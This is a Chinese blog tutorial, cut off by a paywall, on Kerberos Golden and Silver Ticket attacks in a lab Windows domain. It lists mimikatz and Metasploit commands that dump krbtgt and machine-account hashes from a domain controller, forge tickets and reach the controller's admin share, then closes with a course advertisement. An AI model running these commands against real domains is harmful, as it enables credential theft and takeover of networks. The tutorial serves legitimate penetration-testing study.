内网渗透测试：Kerberos协议相关安全问题分析与利用

已于 2024-01-17 16:18:57 修改
阅读量106 收藏 1
点赞数
文章标签： 安全
于 2023-07-29 18:15:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/A_991128a/article/details/131932713
版权

前言

往期文章：

《内网渗透测试：Kerberos 协议与 Kerberos
认证原理》

在上一节中我们说到过，Kerberos 认证并不是天衣无缝的，这其中也会有各种漏洞能够被我们利用，比如我们常说的
MS14-068、黄金票据、白银票据等就是基于Kerberos协议进行攻击的。下面我们便详细的讲解一下 Kerberos 认证中的相关安全问题。

文中若有不当之处还请各位大佬多多点评

我的博客：https://whoamianony.top/

黄金票据（Golden ticket）

在 Windows 的 kerberos 认证过程中，Client 将自己的信息发送给 KDC，然后 KDC 使用 Krbtgt 用户的 NTLM
哈希作为密钥进行加密，生成 TGT。那么如果获取到了 Krbtgt 的 NTLM 哈希值，不就可以伪造任意的 TGT 了吗。因为 Krbtgt
只有域控制器上面才有，所以使用黄金凭据意味着你之前拿到过域控制器的权限，黄金凭据可以理解为一个后门。

利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT，能够绕过对任意用户的账号策略，让用户成为任意组的成员，可用于 Kerberos
认证的任何服务。

攻击者再使用黄金票据进行票据传递攻击时，通常要掌握以下信息：

需要伪造的域管理员用户名

完整的域名

域 SID

krbtgt 的 NTLM 哈希值

实验环境如下：

image-20210522120058315

域成员主机：Windows 7

  • IP：192.168.93.20

  • 域名：whoamianony.org

  • 用户名：bunny

域控制器：Windows Server 2012

  • IP：192.168.93.30

  • 域名：whoamianony.org

  • 用户名：administrator

假设有这么一种情况，原先攻击机已拿到的域内所有的账户 Hash，包括 Krbtgt
这个账户，由于有些原因导致你对域管权限丢失，但好在你还有一个普通域用户权限，碰巧管理员在域内加固时忘记重置 Krbtgt
密码，基于此条件，我们还能利用该票据重新获得域管理员权限。

Mimikatz 下的利用

首先，我们登上域控，上传 mimikatz，然后执行如下命令抓取 krbtgt 用户的 Hash 值并获取域sid：

privilege::debug  
lsadump::lsa /patch        // 专用于在域控制器上导出用户密码或 hash

image-20210521085744602

得到 krbtgt 用户的 Hash 和 域 SID 分别为：

  • Hash 值：6be58bfcc0a164af2408d1d3bd313c2a

  • 域 SID：为 S-1-5-21-1315137663-3706837544-1429009142

然后，我们切换到普通域用户的机器Windows 7，用 mimikatz 生成名为 ticket.kirbi 的 TGT 凭证，用户名为
administrator：

kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:ticket.kirbi  
​  
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi

image-20210521090438038

如上图所示，成功生成 TGT 凭证 ticket.kirbi，名为 ticket.kirbi，然后使用 mimikatz 将凭证ticket.kirbi
注入进去：

kerberos::ptt ticket.kirbi  
#kerberos::ptt <票据文件>

image-20210521090706436

此时我们可以执行以下来查看当前会话中的票据，就可以发现刚刚注入的票据在里面了：

kerberos::tgt

image-20210521091230421

到此，注入成功。输入“exit”退出mimikatz，此时，攻击者就可以利用 Windows 7 任意访问域控了：

dir \\DC\c$

image-20210521092047545

也可以使用 psexec，wmi 等方法对域控进行远程执行命令：

image-20210521092450447

可见，黄金票据可以当做一个安装在普通域成员主机上的连接到域控的后门。

Metasploit 下的利用

在 Metasploit 中也有对应的利用模块。

首先我们需要让 Windows 7 上线一个 MSF 的会话：

image-20210521110157111

然后再这个 meterpreter 中加载 kiwi 模块：

load kiwi

image-20210521110436981

然后输入命令生成票据：

golden_ticket_create -d whoamianony.org -k 6be58bfcc0a164af2408d1d3bd313c2a -s S-1-5-21-1315137663-3706837544-1429009142 -u administrator -t /root/krbtgt.ticket  
# golden_ticket_create -d 域名 -k krbtgt用户的Hash -s 域sid -u 需要伪造的域管理员用户名 -t /root/krbtgt.ticket  
​  
kerberos_ticket_list # 查看本地储存的票据  
kerberos_ticket_use /root/krbtgt.ticket # 将票据注入内存

image-20210521185512619

如上图所示，成功注入黄金票据，此时进入 Shell 中可以成功查看 DC 中的文件：

dir \\DC\c$

image-20210521185733508

白银票据（Silver ticket）

白银票据不同于黄金票据，白银票据的利用过程是伪造 TGS，通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用
KDC，所以可以绕过域控制器，很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT，并且在生成伪造的 TGT 得20分钟内，TGS 不会对该 TGT
的真伪进行效验。

白银票据依赖于服务账号的密码散列值，这不同于黄金票据利用需要使用 krbtgt 账号的密码哈希值，因此更加隐蔽。

攻击者要利用白银票据进行票据传递攻击时，需要掌握下面几个信息：

  • 域名

  • 域 SID

  • 目标服务器的 FQDN

  • 可利用的服务

  • 服务账号的 NTLM 哈希值

  • 要伪造的用户名

实验环境如下：

image-20210522120058315

域成员主机：Windows 7

  • IP：192.168.93.20

  • 域名：whoamianony.org

  • 用户名：bunny

域控制器：Windows Server 2012

  • IP：192.168.93.30

  • 域名：whoamianony.org

  • 用户名：administrator

下面我们就使用白银票据来伪造 CIFS 服务权限，CIFS 服务通常用于Windows 主机之间的文件共享。

首先登录域控，抓取机器账号的哈希值：

privilege::debug  
sekurlsa::logonpasswords

image-20210521092929785

这里的 NTLM 和 SHA1 都可以用。得到计算机账号的哈希为：6decb5d75eb5727d8535e67680b52571

（注意是 DC$ 用户的 NTLM 哈希，不是 Administrator 用户，因为要利用共享服务账号）

然后切换到普通域用户机器 Windows 7 中，使用 mimikatz 生成伪造的白银票据：

kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /target:DC.whoamianony.org /rc4:6decb5d75eb5727d8535e67680b52571 /service:cifs /user:administrastor /ptt  
​  
# kerberos::golden /domain:域名 /sid:域 SID /target:FQDN /rc4:server 机器的哈希 /service:可利用的服务 /user:要伪造的用户名 /ptt

注意这里的/target应为 FQDN 格式，即全称。

image-20210521093612632

如上图所示，成功生成了伪造的白银票据，此时进行权限验证。如下，发现已经可以访问域控制器的共享目录了：

dir \\DC.whoamianony.org\c$         // 机器名要全称，注意是全称

可试读前40%内容

¥ 4.9 全文阅读

开通会员免费阅读 最低0.3元/天

/target应为 FQDN 格式，即全称。

[外链图片转存中…(img-8a30Ivn5-1690336940322)]

如上图所示，成功生成了伪造的白银票据，此时进行权限验证。如下，发现已经可以访问域控制器的共享目录了：

dir \\DC.whoamianony.org\c$         // 机器名要全称，注意是全称

可试读前40%内容

¥ 4.9 全文阅读

开通会员免费阅读 最低0.3元/天

接下来我将给各位同学划分一张学习计划表！

学习计划

那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：

阶段一：初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？

阶段二：中级or高级网络安全工程师（看自己能力）

综合薪资区间15k~30k

7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。

零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；

Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三：顶级网络安全工程师

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

学习资料分享

当然，只给予计划不给予学习资料的行为无异于耍流氓，这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包，可点击下方二维码链接领取哦。

教IT的小王A
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
内网渗透(六十六)之Kerberos Bronze Bit 漏洞
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
05-12 565
Kerberos Bronze Bit （CVE-2020-17049）漏洞是国外安全公司Netspi 安全研究员 Jake Karnes 发现的一个Kerberos安全功能绕过漏洞。该漏洞存在的原因在于KDC在确定Kerberos服务票据是否可用于通过Kerberos的约束性委派时，其方式中存在一个安全功能绕过漏洞。利用此漏洞，一个被配置为使用约束性委派的遭入侵服务可以篡改一个对委派无效的服务票据，从而迫使KDC接受它。该漏洞启用的攻击是Kerberos委派引起的其它已知攻击的扩展。
域渗透中的DPAPI和Kerberos协议.pdf
08-08
议题分享主要介绍了域渗透中数据保护API架构逻辑和Kerberos认证协议的通信流程，同时从攻击者的角度谈了DPAPI和Kerberos协议的利用，最后给出常见攻击思路的防御和缓解措施。 1.1 DPAPI架构 1.2 DPAPI加密机制 1.3 ...
Kerberos协议及其漏洞
weixin_43047908的博客
10-21 3925
目录前言AS-REQAS-REQ阶段产生的攻击方式hash传递域内用户枚举密码喷洒AS-REPAS-REP阶段产生的攻击方式黄金票据AS-REP RoastingTGS-REQTGS-REPTGS-REP阶段产生的攻击方式kerberoast攻击白银票据白银票据和黄金票据的不同点PAC 前言 专业名词 释义 DC 域控 KDC 密钥分发中心 AD 活动目录，里面包含域内用户数据库 AS Kerberos认证服务 TGT TGT认证权证，由AS服务发放 TGS 票据授予服务
Kerberos认证原理及相关漏洞
qq_37466661的博客
05-25 631
Kerberos认证原理及相关漏洞
域渗透 | kerberos认证及过程中产生的攻击
st3pby的博客
02-20 6877
Windows认证一般包括本地认证(NTLM HASH)和域认证（kerberos）。认证的原理网上有很多文章。如果喜欢听视频课程的话，这里推荐倾旋师傅的分享课本篇文章主要内容是Kerberos认证过程中产生的攻击。Kerberos是由麻省理工学院提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。Kerberos协议有两个基础认证模块:和，以及微软扩展的两个认证模块S4U和PAC。kerberos是一种基于票据的认证方式。
Kerberos KDC域权限提升漏洞总结
m0_38103658的博客
04-13 869
Kerberos KDC域权限提升漏洞总结 0x00 漏洞起源 Windows Kerberos对kerberos tickets中的PAC(Privilege Attribute Certificate)的验证流程中存在安全漏洞，低权限的经过认证的远程攻击者利用该漏洞可以伪造一个PAC并通过Kerberos KDC(Key Distribution Center)的验证，攻击成功使得攻击者可以提...
cerbero:Kerberos协议攻击者
05-24
在Active Directory渗透测试中执行与Kerberos协议相关的多项任务的工具。安装从板条箱： cargo install cerbero 来自回购： git clone https://gitlab.com/Zer1t0/cerbero.gitcd cerbero/cargo install --path ....
Kerberos网络认证协议搭建与分析-A48郭茁宁-1183710109-实验报告1
08-08
二、实验环境实验所使用的设备名称及规格，网络管理工具简介、版本等 三、实验内容与实验要求实验内容、原理分析及具体实验要求 四、实验过程与分析根据具体实验，记录、
pykek:Kerberos 漏洞利用工具包
07-08
Python Kerberos 漏洞利用工具包 PyKEK（Python Kerberos Exploitation Kit），一个用于操作 KRB5 相关数据的 Python 库。 （仍在开发中） 目前，仅实现了少数功能（以相当快速的方式）来利用 MS14-068 (CVE-2014-...
论文研究-Kerberos认证协议的分析与改进 .pdf
08-15
Kerberos认证协议的分析与改进，卓见，孙斌，Kerberos是一个研究较多、应用广泛且较成熟的身份认证协议；但是它也存在着一些局限性和缺陷。本文首先阐述Kerberos认证流程，并分析��
Kerberos浅谈
PixelWise的博客
08-14 4108
本文归纳总结Kerberos的认证过程以及优缺点，为总结性的文章，需要读者对Kerberos有一定的了解。
内网安全之：Kerberos 域用户提权漏洞(MS14-068；CVE-2014-6324)
f_carey的博客
12-08 1593
郑重声明： 本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。 Kerberos 域用户提权漏洞(MS14-068；CVE-2014-63241 pyKEK 工具包2 MSF 中 ms14_068 利用3 goldenPac.py4 防范 Kerberos MS14-068 漏洞 Microsoft Security Bulletin MS14-068 - Critical.
Windows安全认证是如何进行的？
weixin_34067049的博客
06-09 215
一、Kerberos认证简介Windows认证协议有两种NTLM（NT LAN Manager）和Kerberos，前者主要应用于用于Windows NT 和 Windows 2000 Server（or Later） 工作组环境，而后者则主要应用于Windows 2000 Server（or Later） 域（Domain）环境。Kerberos较之NTLM更高效、更安全，同时认证过程也相对复杂...
【转】谈谈基于Kerberos的Windows Network Authentication
cheran的专栏
12-13 1099
http://www.cnblogs.com/artech/archive/2007/07/07/809545.html Content： 基本原理 引入Key Distribution: KServer-Client从何而来 引入Authenticator : 为有效的证明自己提供证据 引入Ticket Granting  Service：如何获得Ticket Kerbe
给老板减刑系列之hadoop 安全缺陷分析之一：kerberos 的缺陷
我想静静
06-18 2965
最近看了Steve Loughran先生写的本书《Hadoop and Kerberos: The Madness Beyond the Gate》，幽默的写作风格幽默风趣，但是国内对大数据平台的安全考虑的文章的确较少，本系列文章主要是分析Hadoop安全现状和源码，个人能力有限，麻烦各位大神及时斧正。
MS14-068 | Kerberos 中的漏洞可能允许特权提升
收集盒 Book box
11-29 1372
微软已于2014年11月19日发布补丁MS14-068（严重），该补丁修复了Windows Kerberos允许特权提升的漏洞（CVE-2014-6324），详情如下，请大家关注。    已确认被成功利用的软件及系统：    Windows Server 2003  Windows Vista  Windows Server 2008  Windows 7  Windows Ser
【内网学习笔记】27、Kerberos 域用户提权漏洞
TeamsSix 的 CSDN 空间
09-24 1775
0、前言 在 2014 年微软修复了 Kerberos 域用户提权漏洞，即 MS14-068，CVE 编号为 CVE-2014-6324，该漏洞影响了 Windows Server 2012 R2 以下的服务器，该漏洞允许 RT 将任意用户权限提升至域管级别。 不过从漏洞年代就知道这已经是个远古时代的漏洞，现实中已经很少会碰到了，这里就简单记录下，顺便熟悉熟悉工具的用法。 14-068 产生的原因主要在于用户可以利用伪造的票据向认证服务器发起请求，如果用户伪造域管的票据，服务端就会把拥有域管权限的服务票据返
此计算机必须为委派而被信任_实际利用Kerberos Bronze Bit漏洞绕过委派限制（CVE202017049）...
weixin_42350514的博客
01-08 411
0x00 前言本文主要说明如何针对Kerberos Bronze Bit漏洞(CVE-2020-17049)进行实际利用的过程。在阅读这篇文章之前，我强烈建议大家首先阅读《Bronze Bit攻击理论》这篇文章，以了解这种攻击的根本原因和攻击效果。值得关注的是，Microsoft在2020年11月10日发布了该漏洞的补丁程序。这个补丁程序的发布将持续到2021年2月9日。以下的攻击场景中...
kerberos协议
最新发布
01-28
Kerberos协议是一种网络身份验证协议，旨在提供在开放的非安全网络中认证识别用户身份信息的方法。它使用密钥加密技术为客户端/服务端应用程序提供强身份验证。Kerberos协议需要三个角色的共同参与才能完成一次认证流程。这三个角色分别是客户端、认证服务器（AS）和票据授权服务器（TGS）。 Kerberos协议的认证流程如下： 1. 客户端向认证服务器发送身份验证请求。 2. 认证服务器验证客户端的身份，并生成一个称为票据授权票据（TGT）的票据，该票据包含客户端的身份信息和一个会话密钥。 3. 认证服务器将TGT发送给客户端。 4. 客户端使用自己的密码解密TGT，并获取会话密钥。 5. 客户端向票据授权服务器发送服务请求，并附上TGT。 6. 票据授权服务器验证TGT的有效性，并生成一个称为服务票据（ST）的票据，该票据包含客户端的身份信息和一个用于与服务端通信的会话密钥。 7. 票据授权服务器将ST发送给客户端。 8. 客户端将ST发送给服务端。 9. 服务端验证ST的有效性，并使用会话密钥与客户端进行通信。 通过以上流程，Kerberos协议实现了客户端和服务端之间的安全通信，保护了用户的身份信息和通信内容的机密性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值